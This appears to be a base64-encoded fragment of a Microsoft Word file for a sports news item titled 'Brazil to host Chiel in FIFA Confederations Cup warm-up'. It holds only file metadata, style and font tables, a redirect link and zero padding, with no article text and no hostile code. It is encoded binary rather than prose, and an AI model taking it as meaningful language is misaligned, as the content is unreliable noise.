BQAAAAAAAAAAFgBEAGUAZgBhAHUAbAB0ACAAUABhAHIAYQBnAHIAYQBwAGgAIABGAG8AbgB0AAAA AABSAGkA8/+zAFIADAUAAAAAAAAAAAwAVABhAGIAbABlACAATgBvAHIAbQBhAGwAAAAcABf2AwAA NNYGAAEKA2wANNYGAAEFAwAAYfYDAAACAAsAAAAoAGsA9P/BACgAAAUAAAAAAAAAAAcATgBvACAA TABpAHMAdAAAAAIADAAAAAAANgBVQKIA8QA2AAwEAABnQ4YAAAAJAEgAeQBwAGUAcgBsAGkAbgBr AAAADAA+KgFCKgdwaAAA/wAAAAAAtAsAAAUAACQAAAQA/////wAAAAAhAAAAPQAAAMwAAAAeAQAA QgEAAFsBAACXAQAAmAEAAFIDAABTAwAAjwQAAJAEAABSBgAAUwYAANMGAAA2BwAANwcAAJwHAADN BwAA9AcAAF0IAACeCAAA3ggAACMJAABsCQAApwkAAOAJAAAZCgAARwoAAHYKAADSCgAA0woAAO8K AADzCgAAcgsAALELAACyCwAAswsAALYLAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAA AAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAA ADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAA MAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAw AAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAA AAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAA AAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAA AAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAA AAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAA AACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAA AIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAA gAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACA AAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAA AACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAA AIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAA gAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACA AAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAA AAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAAAAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAA AAAAAAAAAACYAAAAADAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAmAAAAAAwAAAAAAAAAIAAAACAAAAA AAAAAAAAAJgAAAAAMAAAAAAAAACAAAAAgAAAAAAAAAAAgAAAAAAAHgEAAEIBAABbAQAAmAEAAFID AABTAwAAjwQAAJAEAABSBgAA4AkAABkKAABHCgAAdgoAANIKAADTCgAA7woAAPMKAAByCwAAsQsA ALYLAABLiAAwADAAAAAAAAABAAAAFwAAAAEAAACQkqAHS4gAMAAwAAAAAAAAAQAAABUAAAAAAAAA AACAB0mIADAAMAAAAAAAAAEAAAAPAAAAAAAAAAAAgAFLiAAwADAAAAAAAAACAAAADAAAAAAAAAAA AIAHS4gAMAAwAAAAAAAAAQAAAAQAAAAAAAAAAACAB0mIADAGMAAAAAAAAAIAAAAMAAAAAAAAAAAA gAFJiAAwADAAAAAAAAABAAAAAwAAAAAAAAAAAIABSYgAMAAwAAAAAAAAAQAAAAQAAAAAAAAAAACA AUuIADAAMAAAAAAAAAEAAAAEAAAAAAAAAAAAgAdLiAAwADAAAAAAAAABAAAABAAAAAEAAACYpOMH S4gAMAAwAAAAAAAAAQAAAAMAAAAAAAAAAACAB0uIADAAMAAAAAAAAAIAAAABAAAAAAAAAAAAgAcC AAAAADAAAAAAAAAAAAAAAKAAAAAAAAAAAAAHSYgAMAAwAAAAAAAAAQAAAAAAAAAAAAAAAACAAUmI ADAAMAAAAAAAAAEAAAAAAAAAAAAAAAAAgAFJiAAwADAAAAAAAAABAAAAAAAAAAAAAAAAAIABSYgA MAAwAAAAAAAAAQAAAAAAAAAAAAAAAACAAUmIADAAMAAAAAAAAAEAAAAAAAAAAAAAAAAAgAFLiAAw ADAAAAAAAAABAAAAAAAAAAAAAAAAAIAHSYgAMAAwAAAAAAAAAQAAAAAAAAAAAAAAaAfIBwAGAACX CQAAoA0AAPMPAADuEgAAtBMAAAoAAAANAAAADgAAAA8AAAARAAAAAAYAAGwRAAC0EwAACwAAABAA AAAABgAAtBMAAAwAAAAPAADwxAAAAAAABvAYAAAAAggAAAIAAAAFAAAAAQAAAAEAAAAGAAAAPwAB 8IQAAABiAAfwJAAAAAYGSbbA7eFzakiMbGMUFL7Lbf8ASbQAAAEAAAA0JAAAAAAAAFIAB/AkAAAA BQWyexNwDj4nYjz7d7jXzSRR/wBQEgAAAQAAAH3YAAAAAAAAYgAH8CQAAAAGBjNMERz+xE+KvF/x IIF82U//AAEIAQABAAAAzeoAAAAAAABAAB7xEAAAAP//AAAAAP8AgICAAPcAABAADwAC8GgDAAAQ AAjwCAAAAAQAAAAFBAAADwAD8AYDAAAPAATwKAAAAAEACfAQAAAAAAAAAAAAAAAAAAAAAAAAAAIA CvAIAAAAAAQAAAUAAAAPAATwZAAAALIECvAIAAAAAgQAAAAKAABTAAvwIAAAAARBAQAAAAXBAgAA AAYBAgAAAP8BAAAIAL8DIAAgAAAAIwAi8QwAAAC/AQAAYAA/BQAAAQAAABDwBAAAAAEAAAAAABHw BAAAAAEAAAAPAATwCgIAALIECvAIAAAABAQAAAAKAACTAAvwugEAAARBAgAAAAXBEAAAAAYBAgAA AP8BAAAIAIHDAgAAAILDcgEAAIQDAAAAAIYDAAAAAL8DKAAoAGQAZQBmAGEAdQBsAHQAAAAAANDJ 6nn5us4RjIIAqgBLqQsCAAAAAwAAAODJ6nn5us4RjIIAqgBLqQtGAQAAaAB0AHQAcAA6AC8ALwB3 AHcAdwAuAGcAbwBvAGcAbABlAC4AYwBvAC4AegBhAC8AdQByAGwAPwBxAD0AaAB0AHQAcAA6AC8A LwB3AHcAdwAuAHkAbwB1AHQAdQBiAGUALgBjAG8AbQAvAHcAYQB0AGMAaAAlADMARgB2ACUAMwBE AHUAOAAtAEMAZgBJAE0AZQBqADAAVQAmAHMAYQA9AFUAJgBlAGkAPQBiADEAOQB5AFQAcwBlAGwA RABJAFQANABtAEEAVwA3AHQAWQBtAGIAQwBnACYAdgBlAGQAPQAwAEMAQwB3AFEAdAB3AEkAdwBC AEEAJgB1AHMAZwA9AEEARgBRAGoAQwBOAEgAdABOAHcANABXAHEAZgBhAHYAUwBDAGIAeQBxAGYA NwBjAFkAdQBnAGYASQBfADMASQBNAHcAAABDACLxGAAAAL8BAABgAJIDAwAAAL8DAAAAAj8FAAAB AAAAEPAEAAAAAgAAAAAAEfAEAAAAAQAAAA8ABPBQAAAAsgQK8AgAAAAFBAAAAAoAADMAC/ASAAAA BEEDAAAA/wEAAAgAvwMAACAAEwAi8QYAAAC/AQAAYAAAABDwBAAAAAAAAAAAABHwBAAAAAEAAAAP AATwQgAAABIACvAIAAAAAQQAAAAOAABTAAvwHgAAAL8BAAAQAMsBAAAAAP8BAAAIAAQDCQAAAD8D AQABAAAAEfAEAAAAAQAAAAAAAAABAAAAAgAAALQLAAAFBAAABAgAALj///8wGAAAWAUAAHQAAAAA AAIEAACM+P//NPz//8QpAADIOgAAdEAAAAAABAQAAOgXAAC4////yCgAAFgFAAB0QAAAAAD//xIA AAAGAByhfwYJAAEA7EQgAAYAHaF/BggAAQCUJyIABgAeoX8GCAABAJzsIQAGAB+hfwYRAAEALCUi AAYAIKF/BggAAQCc5YMLBgAhoX8GEQABACxaIgAGACKhfwYJAAEAXOMfAAYAI6F/BhEAAQA8RCAA BgAkoX8GCQABAES+iAsGACWhfwYIAAEATPqJCwYAJqF/BgkAAQB0v4gLBgAnoX8GCQABAEzbIQAG ACihfwYIAAEA3J0fAAYAKaF/BgkAAQBURSAABgAqoX8GCQABAEzHHwAGACuhfwYIAAEAvJcfAAYA LKF/BggAAQDctBoABgAtoX8GCQABABSXIQADAAAAAwAAAN4AAADeAAAAHgEAAB4BAAAyAQAAOQEA AJcDAACXAwAAwAMAAA4EAACHBAAAhwQAAI8GAACPBgAAaQcAAGkHAAC2CwAAAAAAAAIAAQAAAAIA AgAAAAIAAwAAAAIABgAAAAIABAAAAAIABQAAAAIABwAAAAIACAAAAAIACQAAAAIACgAAAAEACwAA AAEADAAAAAIADQAAAAIADgAAAAIADwAAAAIAEAAAAAIAEQAAAAIACQAAAAkAAADsAAAA7AAAADEB AAA4AQAAQQEAAEEBAACjAwAAowMAAMwDAAAaBAAAjQQAAI0EAACVBgAAlQYAAHUHAAB1BwAAtgsA AAAAAAABAAAAAgAAAAMAAAAFAAEABgABAAQAAAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAA DgAAAA8AAAAQAAAAEQAAAAYAAABWAAAAEQAAACqAdXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpv ZmZpY2U6c21hcnR0YWdzBYBwbGFjZR2AaHR0cDovL3d3dy41aWFudGxhdmFsYW1wLmNvbS9fAAAA EgAAACqAdXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzDoBjb3VudHJ5 LXJlZ2lvbh2AaHR0cDovL3d3dy41aWFudGxhdmFsYW1wLmNvbS87AAAAEAAAACqAdXJuOnNjaGVt YXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzB4BhZGRyZXNzAIBoAAAADAAAACqAdXJu OnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzBIBDaXR5MIBodHRwOi8vd3d3 LjVpYW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpzbWFydHRhZ3M6AAAADwAAACqAdXJuOnNjaGVt YXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6c21hcnR0YWdzBoBTdHJlZXQAgD4AAAALAAAAKoB1cm46 c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpzbWFydHRhZ3MKgFBvc3RhbENvZGUAgAwAAAFg D4YCAAAAABIAAAAAABEAAAAAABAAAAAAAA8AAAAAABAAAAAAAA8AAAAAAAwAAAAAAAsAAAAAABIA AAAAABEAAAAAABIAAAAAABIAAAAAABEAAAAAABIAAAAAABIAAAAAABEAAAAAABEAAAAAABIAAAAA AAAAAABbAQAAYQEAALYLAAAHAAQABwAAAAAAWwEAAJYBAAC2CwAABwAEAAcAAAAAAAEAAAAgAAAA IQAAAD0AAAA9AAAAHgEAAB4BAAAxAQAAMgEAAFsBAABlAQAAmAEAAJgBAAAIAgAALgIAACwGAABR BgAA6AcAAOkHAAD0BwAA9AcAAF0IAABdCAAAswsAALYLAAAEAAMABAADAAQAAwAEAAMABAADAAQA AwAEAAMABAADAAQAAwAEAAMABAADAAQAAwAHAAAAAABbAQAAYQEAALYLAAAHAAQABwA8AAAABAAA AAgAAADlAAAAAAAAADsAAABUDAIAYCQJAEJPDAAwQQ8ApzgRAM06EwBkGxcAeQMZAOINJADsOikA u10rACkpLAABOy0AvxExAAoTOABSJ0AAaEZAAFI8RQANf0UAjXVLABBJTADpZ1AAEyhRAD4OXAC9 QWAAEDVjALcjagBmAnEAqiVxADcUcgCCbHIAXCN0APcNeAAiPoIANneCAGdDhgAeOocAIleLAERk kgAXe5oAGgCcADt+pADmT6gALj+zAIUruQD2ObkAvh3MADs6zAA9KdEA8SXYAMkK5gDPQ+YAMgDq AFgR6gAEc+oAhRPrAHAT7gDzWfEA7xHyAP0f/gAAAAAAAQAAAAIAAAADAAAAWwEAAJcBAACYAQAA kAQAALYLAAAAAAAAMweRfAEAAAABAAAAMweRfAAAAAAAAAAAAAAAAP9AAYAAAFsBAABbAQAA7CeK AQEAoP9bAQAAAAAAAFsBAAAAAAAAAhAAAAAAAAAAtAsAAFAAABAAQAAA//8BAAAABwBVAG4AawBu AG8AdwBuAP//AQAIAAAAAAAAAAAAAAD//wEAAAAAAP//AAACAP//AAAAAP//AAACAP//AAAAAAMA AABHFpABAAACAgYDBQQFAgMEh3oAIAAAAIAIAAAAAAAAAP8BAAAAAAAAVABpAG0AZQBzACAATgBl AHcAIABSAG8AbQBhAG4AAAA1FpABAgAFBQECAQcGAgUHAAAAAAAAABAAAAAAAAAAAAAAAIAAAAAA UwB5AG0AYgBvAGwAAAAzJpABAAACCwYEAgICAgIEh3oAIAAAAIAIAAAAAAAAAP8BAAAAAAAAQQBy AGkAYQBsAAAAIgAEAPEIiBgA8NACAABoAQAAAAAlmxyHJZschwAAAAACAAEAAAC/AQAA9QkAAAEA BQAAAAQAAxAVAAAAvwEAAPUJAAABAAUAAAAVAAAAAAAAACEDAPAQAAAAAQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAgHAAC0ALQAgYFyNAAAAAAAAAAAAAAAAAAArwsAAK8LAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAA CDKDUQDwEAAIAPz9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLUAAAAAAp8P8PAQABPwAA5AQA AP///3////9/////f////3////9/////f////3/iDSQAAAQAADIAAAAAAAAAAAAAAAAAAAAAAP// EgAAAAAAAAA4AEIAUgBBAFoASQBMACAAVABPACAASABPAFMAVAAgAEMASABJAEUATAAgAEkATgAg AEYASQBGAEEAIABDAE8ATgBGAEUARABFAFIAQQBUAEkATwBOAFMAIABDAFUAUAAgAFcAQQBSAE0A LQBVAFAAIAAAAAAAAAAHAFUAUwBFAFIALQAwADMABgB1AG4AaQB0AC0AMwAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABQECAAAAAAAAAAAA AAAAAAAAAAABAAAA4IWf8vlPaBCrkQgAKyez2TAAAACgAQAAEQAAAAEAAACQAAAAAgAAAJgAAAAD AAAA3AAAAAQAAADoAAAABQAAAPgAAAAGAAAABAEAAAcAAAAQAQAACAAAACABAAAJAAAAMAEAABIA AAA8AQAACgAAAFwBAAAMAAAAaAEAAA0AAAB0AQAADgAAAIABAAAPAAAAiAEAABAAAACQAQAAEwAA AJgBAAACAAAA5AQAAB4AAAA8AAAAQlJBWklMIFRPIEhPU1QgQ0hJRUwgSU4gRklGQSBDT05GRURF UkFUSU9OUyBDVVAgV0FSTS1VUCAAAAAAHgAAAAQAAAAAAAAAHgAAAAgAAABVU0VSLTAzAB4AAAAE AAAAAAAAAB4AAAAEAAAAAAAAAB4AAAAIAAAATm9ybWFsAAAeAAAACAAAAHVuaXQtMwAAHgAAAAQA AAAyAAAAHgAAABgAAABNaWNyb3NvZnQgT2ZmaWNlIFdvcmQAAABAAAAAAEbDIwAAAABAAAAAAC55 P6b8zgFAAAAAAC55P6b8zgEDAAAAAQAAAAMAAAC/AQAAAwAAAPUJAAADAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAUBAgAAAAAAAAAAAAAAAAAAAAAA AQAAAALVzdWcLhsQk5cIACss+a4wAAAAIAEAAAwAAAABAAAAaAAAAA8AAABwAAAABQAAAHwAAAAG AAAAhAAAABEAAACMAAAAFwAAAJQAAAALAAAAnAAAABAAAACkAAAAEwAAAKwAAAAWAAAAtAAAAA0A AAC8AAAADAAAAAEBAAACAAAA5AQAAB4AAAAEAAAAAAAAAAMAAAAVAAAAAwAAAAUAAAADAAAArwsA AAMAAADmFQsACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAAeEAAAAQAAADkAAABCUkFa SUwgVE8gSE9TVCBDSElFTCBJTiBGSUZBIENPTkZFREVSQVRJT05TIENVUCBXQVJNLVVQIAAMEAAA AgAAAB4AAAAGAAAAVGl0bGUAAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 